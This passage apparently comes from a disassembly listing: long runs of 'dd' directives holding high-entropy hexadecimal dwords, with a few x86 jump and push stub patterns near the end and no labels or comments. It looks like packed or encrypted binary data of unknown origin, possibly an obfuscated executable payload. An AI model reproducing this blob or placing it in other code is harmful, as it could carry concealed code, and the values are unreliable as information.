8EDB757Ah, 8B321566h, 758A796Bh dd 6AE4950Dh, 94B94307h, 40F69642h, 22359B69h, 933D1566h dd 88321567h, 43BF1A9Fh, 2D321566h, 113214E7h, 3E3DE966h dd 0BDB2ED68h, 4FB11AE6h, 0ED321566h, 0A44FD6E7h, 87B3448Fh dd 69D69CBh, 0FAB3DE67h, 0AC9D69CBh, 684FFEE7h, 25DB448Fh dd 89321566h, 522FB297h, 0C561094Fh, 0DDCD314Ah, 0F869EA99h dd 88321572h, 0C208178Eh, 0F47EA296h, 0B3CB22Ah, 0E659B890h dd 0F8454D9Fh, 2232B28Fh, 0C8B87566h, 88321C8Fh, 7EDC6966h dd 0BC776F7Ch, 71530206h, 0B7A7B8DCh, 4BE2947Ch, 434153E4h dd 91CAA136h, 64B2C8AAh, 0FCDB9598h, 0E3B2F44Eh, 963D4DDEh dd 8832156Eh, 44BA1A06h, 43321566h, 0C4C5FCE1h, 0E873FCE1h dd 25E2CFE6h, 22CDAB30h, 0E0131566h, 0B1621EDh, 0CF3D11A2h dd 2232156Bh, 792DAB06h, 7BB31D52h, 5D5B8E16h, 0CF8B4407h dd 900EF17Ah, 1723F68Fh, 85B3542Ch, 14A204DDh, 0F8F3CC91h dd 44C39462h, 6D6E26D4h, 0E91B4CADh, 0DCDD6E7h, 87524427h dd 0AD53CBD1h, 2232156Eh, 9AE49025h, 9A67EC93h, 40C790EDh dd 32DB1372h, 6F321566h, 0D55D4115h, 6EFB306Dh, 49FBD1F7h dd 9A36848Ch, 9C21B4F3h, 0A4B37560h, 24CF4E99h, 0ACB1749Eh dd 8E260F7Bh, 0C3B61A67h, 42321564h, 0AE684706h, 87BC928Dh dd 4422FD07h, 7F31566h, 3A114121h, 0E942F7C9h, 8EAE4941h dd 4081284Eh, 0C909743Fh, 882A9769h, 7DC71566h, 13B41AB5h dd 71CDEA9Fh, 88309569h, 25521566h, 0EC6203DDh, 0AA617459h dd 77CDEA99h, 0B169CB67h, 0A2DAA037h, 0F4B2C08Bh, 84C79505h dd 0CCDC9D34h, 0CB6B4F96h, 11321574h, 9DA1273Ah, 77F2C86Dh dd 8E61BFFh, 962BD918h, 8798E0C7h, 443219EBh, 2235FC66h dd 60421566h, 0DEBC383Bh, 448A45D9h, 23321566h, 11884796h dd 89321566h, 1E389FA4h, 953D753Eh, 0A261749Dh, 0A00CA5D8h dd 602E9EBEh, 2236D1E7h, 0F8CE1566h, 88321577h, 2010FCF8h dd 8F517A1Ch, 5C365D10h, 0EE6B373Ah, 0F56346BCh, 8ED395BBh dd 9137FCA6h, 49B21A8Fh, 1DF99D7Ch, 4269CC46h, 1122FC06h dd 299E1566h, 4705B14Ah, 0F38E5076h, 0F14A4509h, 83D2156h dd 44321566h, 0CBB37307h, 1953D955h, 57B275AEh, 25E89E7Bh dd 985475CCh, 70CE44E5h, 0E6F4D6E7h, 87B36290h, 54202DB9h dd 0FAB3EE4Fh, 0FE202DB9h, 2AF4FEE7h, 72C76290h, 1132110Eh dd 4B1B4D66h, 1762E03Eh, 62E9E3Eh, 1136D1E7h, 61521566h dd 4432156Fh, 975CBA81h, 0D4779E60h, 8CB61AE7h, 22321566h dd 432F65D8h, 0EB61ACDh, 87321566h, 44320CE9h, 2226FC66h dd 0FD3A1566h, 6CBD8491h, 2CF8C9E5h, 7D8EBE72h, 0BE8D088Ch dd 356754D0h, 44321564h, 56DDD3E7h, 0FF3346ECh, 0FCDDFBE7h dd 0BD6F46ECh, 97879C9Fh, 0F8340147h, 88321574h, 0C63D2384h dd 0FF5A8C13h, 0D8E2A889h, 0D7663649h, 0C1F5D154h, 24260F7Bh dd 11321567h, 8CDE949Fh, 0CD321566h, 0C4BB3152h, 1136D3E7h dd 4EB11566h, 60069262h, 23B11A3Ah, 0E4321566h, 0D3162199h dd 4436D1E7h, 0A83D1566h, 11321568h, 8FE39406h, 4B4F7362h dd 223215E6h, 25CD7466h, 4CB34C42h, 44321562h, 0C3BB4493h dd 1136D4E7h, 49B11566h, 30CD4462h, 0AD6B1142h, 716E3162h dd 34F8C4E7h, 4ADB49D4h, 0E0321566h, 1075DDE0h, 3E7032D1h dd 8A96398h, 0AB60741Ch, 6A894684h, 9139613h, 0D6069B95h dd 30F99423h, 903D0354h, 9718868Dh, 0B7B35E23h, 0BCA5C01h dd 9269CF67h, 9CB511A4h, 0C13D4942h, 22321565h, 0F853E006h dd 77CDCF40h, 44321C8Fh, 0E13EBE66h, 0FF075DBBh, 3260C377h dd 3F7A0CCCh, 39D8942Ch, 9026E509h, 40BF1A4h, 0CBF09447h dd 0B4A097Dh, 9A3D4FB0h, 8832156Eh, 44309869h, 43521566h dd 0DF8D1A06h, 0E053ECECh, 443274AEh, 951609EFh, 14D5D58Dh dd 48D0D2E6h, 0A3F21681h, 0CBF59561h, 0F869EDEEh, 88321561h dd 0FC80EB4h, 88A8EEF7h, 9865ED9Fh, 3CA9C91h, 80B1315Ah dd 223DFC62h, 32521566h, 0FA226FB1h, 0D2BA15A0h, 85D5ECEh dd 428D42A1h, 0A15F0075h dd 0BC1B4A9Eh, 37214663h, 1CDBED0Bh, 42321566h, 27336E2Ah dd 499BB5F9h, 1207F26Ch, 8836F9E7h, 68BB1566h, 2236A842h dd 0F91B1566h, 80BD1A3Bh, 24321566h, 995420D5h, 1E533225h dd 883219E4h, 42B41A66h, 2D321566h, 113215EBh, 74CBBE66h dd 0C5D79C33h, 223211A3h, 15F79666h, 0B9163955h, 6801314Ah dd 30DB4942h, 91321566h, 209A587Eh, 8BA7899Bh, 9C7D0F57h dd 0EDD54E10h, 8823FCA4h, 48CD1566h, 0B9B1A491h, 4EB8BF3Dh dd 3A0460Eh, 0CFE38737h, 0AB60317Ah, 15F09484h, 9321566h dd 443211A4h, 6269266h, 2681753Ah, 0AC06EA07h, 40F6943Fh dd 0DA321566h, 1123FD06h, 47A11566h, 0FC800829h, 7C44EE4Bh dd 82A63B92h, 0D0323D51h, 443E9D69h, 24DA1566h, 37321566h dd 7F6D2A8Dh, 0BB534BECh, 0A16C3152h, 993D11A2h, 88321575h dd 44321B8Fh, 266D8366h, 8E3F3D5Ch, 2629F3CCh, 4BEB26E6h dd 22321DE4h, 13B61A66h, 0E8321566h, 0A5BB4407h, 2236D4E7h dd 0D0B11566h, 0FCCD4462h, 0CB6B1142h, 0CB6E3162h, 11321563h dd 77543A0h, 9F12FC5Ch, 0A83DEA99h, 1132156Eh, 88309369h dd 25521566h, 5B4690A1h, 1137137Dh, 0EE521566h, 0C52CC9DCh dd 0BDFD96ACh, 0F8527448h, 88321563h, 1EADA80Ah, 0EDB37362h dd 4753AE3Fh, 691621E7h, 0CF3F027Ah, 0E6B1317Ah, 0F0C19462h dd 613F027Ah, 4432156Ch, 0E2E26B00h, 78377A8Ah, 0E064C1CBh dd 44321562h, 7CC11438h, 113F9369h, 87521566h, 443215E2h dd 0F4B37366h, 4053CD05h, 0A11DA3DFh, 44DB9478h, 6B06D834h dd 3379D4E7h, 793303C2h, 0B86B0C65h, 26C790EDh, 933D1372h dd 8832156Fh, 0C7F19406h, 0DE4A733Ah, 0B0A79E07h, 61340175h dd 44321561h, 502EB074h, 433C781Ch, 883214DCh, 1EE43C66h dd 2232068Fh, 2EABF766h, 0A6B13B5Bh, 0CB6EFD4Fh, 50BD1A9Fh dd 0BB5E025Dh, 9AD3A8E5h, 4B331372h, 223480E2h, 0C909EC66h dd 880D9769h, 0CF3D1566h, 2232157Fh, 11219C69h, 86DB1566h dd 29321566h, 0B3C0A13Dh, 168468DAh, 0DC8DC920h, 9E09ECBDh dd 23309369h, 903D1566h, 88321577h, 4432198Fh, 0B0FD3566h dd 5F29D329h, 0EBAA813Bh, 0F1879C82h, 0CB340147h, 11321560h dd 0E26D290Ah, 0D9B978A8h, 24296C12h, 355E949Eh, 0C847436Ah dd 606E140Bh, 7488476Ah, 105F5513h, 0D2223132h, 0FC8C7306h dd 1AF69509h, 1EDBE907h, 61321560h, 44321576h, 0E00639B7h dd 4D0EEEA5h, 0FD6481E5h, 3BB38873h, 7D162199h, 1136D1E7h dd 4FCE1566h, 5020F4E3h, 22321460h, 0DF8D7566h, 71746F28h dd 6006EA07h, 26F6943Dh, 1E321566h, 883214ECh, 48B9E966h dd 0C3BB4442h, 1136D4E7h, 49B31566h, 44321562h, 7E1619E1h dd 1132068Fh, 0CBE33D66h, 7C9D3405h, 51A386A8h, 0B0A1CB17h dd 8A515BAFh, 1A162199h, 2236D1E7h, 92CE1566h, 84BB118Ah dd 0C5D39C42h, 223211A7h, 15F39666h, 0D41619E1h, 45BD1A9Eh dd 0DA321566h, 0EEE44C8Fh, 0D38D7599h, 155028B5h, 2624F4E7h dd 706A45ACh, 922FA8E5h, 4B331372h, 223740E2h, 1126FC66h dd 34F01566h, 37C866E2h, 8B6C076h, 2F20C0E8h, 9162A3EAh dd 43DBD6E5h, 0CC321566h, 75888756h, 1519EA34h, 42261193h dd 2232068Fh, 0F4C78A66h, 1A46262Bh, 74891BD0h, 0AEFEB67Fh dd 8848D31Ah, 908798EDh, 22521372h, 0D275CBE7h, 1132048Fh dd 0ABAFBA66h, 847B4F24h, 3909D389h, 0DA91EBCBh, 7453E08Fh dd 316DD4E7h, 0FB3310DCh, 646DAA31h, 711B10DCh, 4420FC39h dd 73191566h, 0FE756354h, 51815F41h, 0B7D9CF81h, 1985E0E7h dd 77AFD4E7h, 61B32F93h, 548504Ch, 0E3B3EC4Fh, 5048504Ch dd 0EEAFFCE7h, 0CC3D2F93h, 2232156Eh, 11309E69h, 0E9521566h dd 44321B8Fh, 0CC835D66h, 89BAE7B3h, 0FE8F5891h, 1161A8BEh dd 6C03AC37h, 278F667Ch, 0A1410F28h, 0AD1B4CABh, 27B81A3Bh dd 71321566h, 0E95FD9E6h, 24CA9E06h, 2DF49E00h, 113215EBh dd 0DB537466h, 0A88210D1h, 3EB9ED56h, 15F69642h, 4BB97306h dd 0B1657507h, 2226FD3Fh, 0EF61566h, 463DA7ECh, 27C06B1Eh dd 402ADAE0h, 0A36F6182h, 0A28A919Eh, 1C5B580Fh, 0A93DBF07h dd 11321567h, 0D852759Eh, 680DAB3Eh, 44531F22h, 519E4E7h dd 3634507h, 80B33162h, 22321562h, 7752E03Fh, 614702D9h dd 4432156Ah, 0D5C83A4Ch, 0DC720CD9h, 3D8270F7h, 0BC52BE07h dd 22349769h, 923D1566h, 88321566h, 0A7BB4607h, 2236D6E7h dd 0D2B11566h, 0FCCD4662h, 0CB691142h, 0DB6E3162h, 4A162199h dd 8836D1E7h, 0BBC71566h, 0A16B3152h, 5DB11A2h, 0A4321566h dd 92B1439Ch, 59C9F54Fh, 0FFEF7460h, 0C056BD4Fh, 0BBC29254h dd 0A36C3152h, 113211A2h, 8834FC66h, 0BCFA1566h, 2A317AFCh dd 1136F9E7h, 0A4BB1566h, 0C5D79C42h, 223211A3h, 15F79666h dd 0D41639E1h, 4432128Fh, 6E1A6666h, 133C8AB7h, 5F36FC93h dd 41DBEA99h, 95321566h, 0B2D018Ah, 0F14690A1h, 4430137Dh dd 0A73D1566h, 11321575h, 61F19E06h, 4432156Ch, 72BD486Dh dd 0A6A7813Eh, 875372BDh, 443200E1h, 2222FC66h, 0DB521566h dd 0B7F7D6D2h, 2F6801EFh, 0D548094Bh, 9A64DE59h, 4CB3317Ah dd 44321562h, 223AFC06h, 18C11566h, 82DC9910h, 4B533A0Ah dd 0CB521BD0h, 1132156Eh, 0F35D97DFh, 440FC47Ch, 7B5DA9DFh dd 1EDB746Fh, 0C0321566h, 480EDE4Eh, 4BB2D1E4h, 6F517F74h dd 71B2AFADh, 1EB11AE6h, 0DB321566h, 552FD6E7h, 4BB308FBh dd 659477CEh, 0C9B3DE67h, 309477CEh, 0CC2FFEE7h, 43DB08FBh dd 0FD321566h, 72E55768h, 356779F3h, 0BBCDEA99h, 0CB6FFE4Fh dd 1132156Eh, 0EBCFECEBh, 728DFB1Dh, 2232A18Fh, 14DA7566h dd 0CA321566h, 995DC14Fh, 22329969h, 0AE6B1566h, 0D731BF70h dd 0BB824507h, 26B9D44Eh, 15F69442h, 87321566h, 44321DE4h dd 20B91A66h, 71321566h, 84CD4407h, 95C54C42h, 26DE949Ah dd 98321566h, 778F314Ah, 65321566h, 29DB488Fh, 67321566h dd 15807535h, 0A8E5602Eh, 25DB1752h, 13321566h, 4E90CFEAh dd 0FD63F9D6h, 58E96672h, 9030FCA7h, 0D035AB8Fh, 0B3E3E266h dd 0B3C394BFh, 102F129Ch, 431B4CADh, 6BABFEE7h, 2DDB163Fh dd 8F321566h, 0F8AFFFB9h, 77DF7314h, 600893F2h, 933DAC2Dh dd 8832156Bh, 44321D8Fh, 0FA777166h, 0E9212844h, 7DB79E59h dd 0AD340162h, 22321568h, 0F8220229h, 1F57AB3Ah, 23960951h dd 0B7B975A8h, 172606C7h, 72DBFC9Eh, 0C43DEA99h, 22321561h dd 11339D69h, 4FCA1566h, 5F4B61E3h, 22321760h, 1121FC66h dd 5C781566h, 78DF410h, 0D09182D7h, 0CE91A7F0h, 612D2C3Fh dd 0B1BB40F7h, 0EB9FEEFh, 15F69442h, 74321566h, 0F564E006h dd 2D534A0Fh, 2DB1BD0h, 0D321566h, 7BFBD575h, 6865D40Bh dd 950E16A5h, 0FDB8DD95h, 0BDB22677h, 4BB11AE6h, 1E321566h dd 883212E0h, 45BA1A66h, 0DA321566h, 1549FEE7h, 433361A2h dd 2A68AC37h, 0D3B3769Fh, 60F7F47h, 0E86BDE67h, 4432138Fh dd 0FDA69F66h, 70384626h, 93D2AF34h, 0A6F3620Bh, 0B0F09461h dd 0E67E4B22h, 49E8E2B4h, 0B6B3178Ch, 0DD76E7BDh, 1E68C64Fh dd 883212E5h, 45B81A66h, 0DE321566h, 11327B8Fh, 373D7566h dd 25EA9EB5h, 0DD814600h, 399FFCE6h, 25F395BFh, 0C03D4E00h dd 2232157Fh, 1132018Fh, 1DA79766h, 9D506228h, 0AC3B4E76h dd 663C2F5Ch, 290CD4C4h dd 0C3E3E2E8h, 0D3B55397h, 0C3B37306h, 0E053C477h, 443260DDh dd 9C1621EFh, 11321599h, 746CE447h, 6AA4FEE7h, 0E1B34F8Ah dd 486C4D06h, 63B3DE4Fh, 1D6C4D06h, 0CA4D6E7h, 9ACE4F8Ah dd 9C36E0E3h, 45BE1A60h, 0DE321566h, 0B0A79E9Eh, 74340175h dd 5E2FA8E5h, 2D331372h, 0EEC534E2h, 8838FC99h, 0D1301566h dd 9CFCA873h, 4D3BFC81h, 0A3DCD5Dh, 44321579h, 2DE12C93h dd 0EEDFCAE0h, 0D3D7599h, 44321565h, 42ECAA69h, 11329169h dd 3541566h, 0C75374B9h, 16BB118Ah, 353EEA42h, 883EFC38h dd 527E1566h, 0A8E27D70h, 0D4534B0Bh, 165D643h, 0CFCB9C91h dd 0E6B1315Ah, 0A962E062h, 0F9723897h, 0B05FAA43h, 0EA5D3867h dd 0D033BEA6h, 9CB3C3Eh, 3B57578Fh, 7261E033h, 0B773DF0Eh dd 0C9174D7Eh, 7163FD53h, 32921423h, 386AD6EFh, 74C74EBFh dd 0DD834435h, 0DC5DF4E6h, 91E3E3AFh, 79B2DCA7h, 1DFD9D4Fh dd 4269EDEEh, 11279469h, 98DB1566h, 3321566h, 7C035EBCh dd 0CE2049FBh, 0F2DF2258h, 4B5E8918h, 0D753CDD1h, 0AF5475CCh dd 87534CF4h, 44321DE9h, 20BD1A66h, 71321566h, 0B9FA2407h dd 0B1FA24A7h, 2226FCCDh, 35471566h, 0A651CF89h, 307038AFh dd 0D8011E45h, 0BDC42E55h, 0B3DAA84h, 44321563h, 0F3851A06h dd 0C3DAFC07h, 0E8C7EA99h, 8985FAE7h, 99544094h, 40533F5Ah dd 883215DFh, 17C31466h, 223215DDh, 9BF91466h, 0E86B4E65h dd 65E39400h, 0D4851AEAh, 1EDA2907h, 883246E2h, 4EDB7566h dd 10321566h, 4AB374A4h, 0EFD99B8Eh, 0AD53EC79h, 22321561h dd 0B229747Ah, 0DB011CB0h, 0B561500Eh, 0E1B34E0Dh, 853CB9DDh dd 94B9CDEFh, 40F69642h, 2226FC9Fh, 71D51566h, 9EC693A0h dd 0F235F348h, 9A4A2D0Fh, 2777B735h, 1BDB69EEh, 0BC321567h dd 0A3D59C31h, 113211A1h, 8CDD9666h, 181629E1h, 421609EFh dd 11309769h, 0EA801566h, 4432048Fh, 0C1BCC566h, 25245F96h dd 0AAB7525Ah, 49C102CEh, 0A15381AEh, 25BB118Ah, 0AC069442h dd 629F4D71h, 35C1943Dh, 0ED14B83Eh, 8833AC37h, 0B5331566h dd 2232AF34h, 0DB331566h, 0D1680F65h, 443BFC06h, 64331566h dd 0AD50D5C0h, 0E84AC142h, 25FAA269h, 11D97D07h, 1DBB1566h dd 8837AC42h, 8F331566h, 33BE1A3Fh, 0F8321566h, 8832156Ah dd 0CC3B882Bh, 0D91E8BBFh, 79BAF7B1h, 7D864535h, 0BA2AF9E6h dd 7CF695A2h, 9131F1A6h, 6BBA98A2h, 0C4F1EB3Eh, 0C9B2018Dh dd 4AEA9D14h, 88359169h, 0C83D1566h, 22321567h, 913DBF9Eh dd 88321576h, 44321E8Fh, 0D473A866h, 0D8251B7Ch, 4EE60F72h dd 47A0FEE7h, 0D91B4017h, 12A0AF34h, 5B334017h, 355AEC3Ch dd 0AB321507h, 158A3162h, 0A1321566h, 22524DA5h, 2D3E52DFh dd 2053DFD1h, 0B9F124BEh, 49DB75BEh, 3E321566h, 0E3806A1h dd 653F2396h, 0BA1A302Eh, 9D3DE906h, 0BA5374A8h, 88299969h dd 22521566h, 33DBD3EDh, 5F321566h, 5F31D92Eh, 99D9593Ch dd 68B54906h, 0BB494A75h, 0AC06EA07h, 40F6943Dh, 42321566h dd 0FE2EFCE7h, 8521C8Fh, 0CC3DCE94h, 22321566h, 0AB607407h dd 88321563h, 50B9C367h, 26F69442h, 0E4321566h, 0A278EBDEh dd 43D2D429h, 9860C591h, 7BE89598h, 0E868C557h, 86B9429Ah dd 42F1743Fh, 11321C8Eh, 0CE0A6266h, 5B5C6C19h, 0AB8A6C92h dd 4E04D888h, 98D19400h, 155A7491h, 0AB321571h, 923D316Ah dd 88321561h, 44339669h, 44CB1566h, 9A542399h, 4CB33162h dd 44321564h, 22321F8Fh, 70176666h, 0C0D23524h, 78D20338h dd 0BB61AA5h, 0F8321567h, 88321574h, 882201C9h, 26531A0Dh dd 0B9725B32h, 6C6DA3A3h, 8F0E52F5h, 23389169h, 2DCE1566h dd 0C1B61AA4h, 4B321567h, 22321BE6h, 113BFC66h, 272B1566h dd 0DE090246h, 1EAAC3A6h, 3CB61AACh, 71321567h, 0BB0F739Eh dd 69B61A43h, 71321567h, 70DD57D8h, 4CD89456h, 434FF4E0h dd 0EE1C2800h, 885A9069h, 42DB1566h, 0F8321566h, 77606033h dd 8CDE96ABh, 0FE1601EFh, 22321564h, 13B8E767h, 8822FC3Ch dd 0CFBA1566h, 943A0C11h, 2D2174C2h, 2BBF8D2h, 1654311Ah dd 0D212E5D0h, 35269E00h, 8830D1E7h, 78C71566h, 36B61AC6h dd 71321567h, 8832058Fh, 12D7E166h, 1D530D82h, 4E2208D3h dd 5296A4B8h, 0AFB345ECh, 694DD1C2h, 1DB9743Ch, 6BBB4642h dd 4436D6E7h, 0E1B31566h, 11321562h, 0D41609E1h, 4432048Fh dd 0EC976166h, 4A331650h, 7B72AA0Eh, 0A9783422h, 225AECA9h dd 9A321566h, 4CB13162h, 0FE547562h, 2EDB13ECh, 3D321566h dd 0C5C1C234h, 0E9693187h, 430CE058h, 1133598Fh, 89B01A66h dd 0B1321566h, 0A252DC57h, 903DC784h, 8832156Dh, 4432108Eh dd 87848E66h, 706BE3DEh, 77CDA833h, 0AD1BEA99h, 9B54753Bh dd 14DBE121h, 4A321566h, 79553CA1h, 22A6FC07h, 1CDB1566h dd 9F321566h, 0B03481D5h, 0A08269F0h, 8F5B6166h, 8832160Eh dd 603E9E66h, 2D36D1E5h, 113212EDh, 89B11A66h, 0BC321566h dd 2232708Fh, 22897566h, 0EE2A3277h, 1C18FEE7h, 9C64EC07h dd 11321560h, 746C4C30h, 44325C8Fh, 36B31A66h, 0F8321566h dd 88321569h, 0BA5633A6h, 9025C472h, 0C1A0C35Ch, 0E0381F32h dd 44327749h, 991609EFh, 5F333590h, 0EDD1942Dh, 0C5286112h dd 0C7641A5h, 19D1D449h, 3135E6E7h, 9DBB3B02h, 0EEB2753Dh dd 5F8D7341h, 2CC174D0h, 44321D8Fh, 0A6542E66h, 0C17661EBh dd 29BF9E70h, 0B1340175h, 0A73DDCE3h, 11321568h, 88339F69h dd 0CDCB1566h, 3621B4D3h, 1DB9EC60h, 6FBB4242h, 4436D2E7h dd 0E5B11566h, 350E9262h, 89BF1A3Ah, 0B1321566h, 810B9FDEh dd 66884760h, 0C249AA72h, 980DFE7h, 0D0B33E75h, 7C25608Fh dd 0AD68C56Fh, 4C6E778Dh, 6231FDA7h, 255D1443h, 8BCD381Dh dd 0C83D1566h, 22321567h, 1ADBD693h, 7A321566h, 8A2C1C2Dh dd 7BBF46FFh, 0EE54E859h, 0EE647350h, 222923D8h, 2016614Fh dd 49544B00h, 93041000h, 44369269h, 42521566h, 0D20E7407h dd 89E39169h, 0CA3D1566h, 2232156Ch, 8A887306h, 0F38B7391h dd 695A7442h, 0AB321577h, 0D7BA3172h, 7168E6EEh, 0F6604500h dd 78E69D96h, 4954F646h, 88269F69h, 4BDB1566h, 0A321566h dd 16BDDF1Bh, 0A0AAD6BFh, 8D3DF69Dh, 33DB9F5Ah, 0AA321566h dd 0FEC4A0B8h, 4413F05h, 0E79B77C1h, 0F2B72BDBh, 8742EEE6h dd 4431FEE2h, 0E1B97566h, 2D53DEEDh, 0E8B61A8Fh, 0AD321567h dd 2232156Dh, 7F322979h, 49649D26h, 0B1C41A8Ch, 0A63DFE5Ah dd 11321421h, 0E93BA406h, 0C03DD75Ah, 2232145Dh, 112F9E69h dd 87521566h, 57DBC6D1h, 3A321566h, 0CBD2D74Dh, 56757AF8h dd 0DEA0450Fh, 0A60DFF77h, 2D530DB2h, 98B61AADh, 4B321567h dd 223214EBh, 2C54E966h, 0C3D3099h, 44321599h, 22389769h dd 71521566h, 88BC1A07h, 25321566h, 0A63DDF5Ah, 11321581h dd 87D1299Fh, 44314EE2h, 223DFC66h, 33561566h, 0DB2300B7h dd 57D8C823h, 0F712A899h, 2C54E932h, 0D3DEA48h, 44321519h dd 2232078Fh, 33513B66h, 0B9E16340h, 0A0F8AB0h, 279BB729h dd 42F42485h, 883217DDh, 0CEC11466h, 62E9E65h, 1136D1E7h dd 83DB1566h, 28321566h, 0A830FBDh, 8B7D9ACh, 3A6083C8h dd 0F3617317h, 44C82579h, 99F8953Dh, 4837F7A6h, 0A6F2178Ch dd 0D2F09562h, 7168C546h, 0F9D4AC00h, 1A8D7331h, 1E534DE4h dd 45B61AC6h, 87321566h dd 44321BEAh, 0AC3D7566h, 11321566h, 88329969h, 11531566h dd 223215DBh, 3DB34066h, 3F288442h, 0D5374D11h, 7F45A27Ch dd 114AFC9Fh, 0E8CA1566h, 4432108Eh, 905ECA66h, 9A541257h dd 87DB4EA9h, 0E9321566h, 1CB93401h, 0A1A9EFADh, 0B58EC48Dh dd 0CD53ECFBh, 3621B4D3h, 113CFC60h, 11271566h, 0E6A375AEh dd 0D030E56Dh, 0C27C6CF9h, 7EAF989Fh, 0AD340FF0h, 22321568h dd 0F55AAFE8h, 3214CB9Ch, 671C8836h, 0F1CDE3E3h, 15027D9Ah dd 0A4BB1566h, 4433A842h, 0CABB1566h, 113AFC3Bh, 0E0051566h dd 0B372369Dh, 0CBF107E3h, 11321577h, 5877B949h, 0E4240B47h dd 76DDABE0h, 1394BDADh, 6FBB42FEh, 4436D2E7h, 0CDB11566h dd 350E9262h, 0AC369C3Ah, 4432138Fh, 0E993166h, 0EEDF9C10h dd 0BCB30510h, 30168442h, 98604D6Ah, 19EA4879h, 0B0BCFFE7h dd 9403E902h, 2234FC3Ch, 40A91566h, 76AA5C64h, 58BF90EFh dd 70521372h, 48FBAA69h, 88321D8Fh, 0D8DB266h, 0A9E1A555h dd 25CD74B6h, 4CB14D42h, 8CB87562h, 22321A8Fh, 0C8EC6266h dd 66FE3082h, 0BFC3912Ch, 902EF05Ch, 0D894607h, 89321566h dd 602E9EB8h, 2236D1E7h, 1E521566h, 88321AEBh, 4438FC66h dd 0B6861566h, 6FF182B7h, 9F682D4Dh, 0E4CDDE7h, 0AF534F17h dd 53DE4DBh, 8834FC60h, 54581566h, 0E7D1AC24h, 113CFCCBh dd 5F761566h, 0FCBC4283h, 7443CE7Fh, 93AA586Eh, 0A31BE84Bh dd 6076165Dh, 0DF8B4442h, 10093E4Fh, 23CA4CAEh, 0C18F9893h dd 42340142h, 0EDB31BDFh, 0B18B731Ah, 0AD9F74D6h, 22321560h dd 9DBEE9FFh, 0F1373BDAh, 696E363Dh, 11575161h, 35165165h dd 0ED761263h, 1F4B3855h, 4AC74945h, 11324791h, 871611EFh dd 443214E4h, 4299ED66h, 0A85465D6h, 553F32Bh, 501E7CDBh dd 8FCBED60h, 98FB9406h, 87460743h, 1253D5D1h, 0F465BD8h dd 4FC23C54h, 0A0165165h, 69465B63h, 31B51A54h, 0F8321566h dd 88321568h, 53512C73h, 539092A2h, 0AED65E99h, 85DB498Ah dd 78321566h, 3E68529Dh, 0AC915Fh, 66DAAE40h, 56B31ACDh dd 0CB321566h, 1132156Bh, 6929BAFCh, 9CEEEC4Ch, 40A18455h dd 5B51AFBh, 87321566h, 44321BE4h, 223BFC66h, 595F1566h dd 90404FC3h, 0CF457CC9h, 0AB673152h, 15F79483h, 9321566h dd 443211A3h, 61E9266h, 1123FC3Ah, 0D9911566h, 0B3F8A0BCh dd 0DF4C2869h, 75012864h, 87AD7753h, 44320CECh, 2226FC66h dd 0FDF51566h, 0FC49E462h, 0D6D7AD5Ch, 3D6D827Bh, 467D3C99h dd 61F1B35Eh, 4432156Ah, 0AC2ABE26h, 1EE90A3Dh, 8CDD3B37h dd 44254F0Eh, 6069C66h, 0AA544706h, 0EE680DB6h, 255777D8h dd 0B47088EBh, 993D137Ch, 8832156Ah, 44349969h, 0A13D1566h dd 11321566h, 6152C699h, 4432156Ah, 0EE73E64Dh, 2F51BF2Ch dd 6CC0ACB5h, 8277C5E7h, 0CB533EF7h, 0EECDE991h, 8837FD06h dd 0CB811566h, 447B9B30h, 5E69A5DFh, 4ECEDF61h, 4AA86CD2h dd 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh, 2AA8ED96h, 29458A15h dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h dd 0D7BA8660h, 0D5CE2559h, 0F1439177h, 498232DCh, 71BA8C0Eh dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C4FCB5Eh dd 74DF0746h, 0D552B332h, 5E0003C6h, 2A5492B8h, 0AE307515h dd 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h, 0A45EE9C3h, 6FDD7BAEh dd 0A25863E9h, 5FABA851h, 0AA307519h, 497332DCh, 2F168C0Eh dd 31377ECBh, 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh dd 0BA4582D7h, 3044h, 24E9h, 4272AA00h, 15h, 7 dup(0) dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h, 8B4C6454h dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h, 0D51876Dh dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h dd 0E9830048h, 8BA4F305h, 3D3608CBh, 0DCDC7006h, 3DBADCD0h dd 3256A030h, 32503CB1h, 804FEAB1h, 587A8A4Dh, 3256BA59h dd 0D8D707B1h, 344C6A9Dh, 3243D0BEh, 0DB36ABB1h, 3256D5BFh dd 5E98353h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 61F9B517h dd 3FD525FBh, 0D1ADFDF5h, 22916EB9h, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 3F5D987Ch, 0FFA073E6h, 0E98331CFh dd 8BA4F305h, 78BD8DDBh, 8D061B79h, 1C01B28Dh, 6644B806h dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h, 7E9F8F6h dd 0EE000000h, 0E7294760h, 5250E66Ah, 8403A3BAh, 24542973h dd 5585A04h, 738403A3h, 0F6DB8060h, 79FBD681h, 8361384Eh dd 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h, 8B535019h dd 411B8C0h, 85890000h, 61430C1h, 0B7A19D8Dh, 0D3FF0616h dd 0BD83585Bh, 6141AE1h, 50177400h, 411B853h, 85890000h dd 61430C1h, 0B4429D8Dh, 0D3FF0616h, 0F60585Bh, 198Ah dd 14E900h, 26B90000h, 0D689A1D3h, 5C2231E7h, 2CFAE249h dd 0D48B6717h, 0B96657D1h, 0F61B566h, 0A89h, 5E900h, 0EC620000h dd 571DE411h, 0F889C789h, 81243C8Bh, 4C4h, 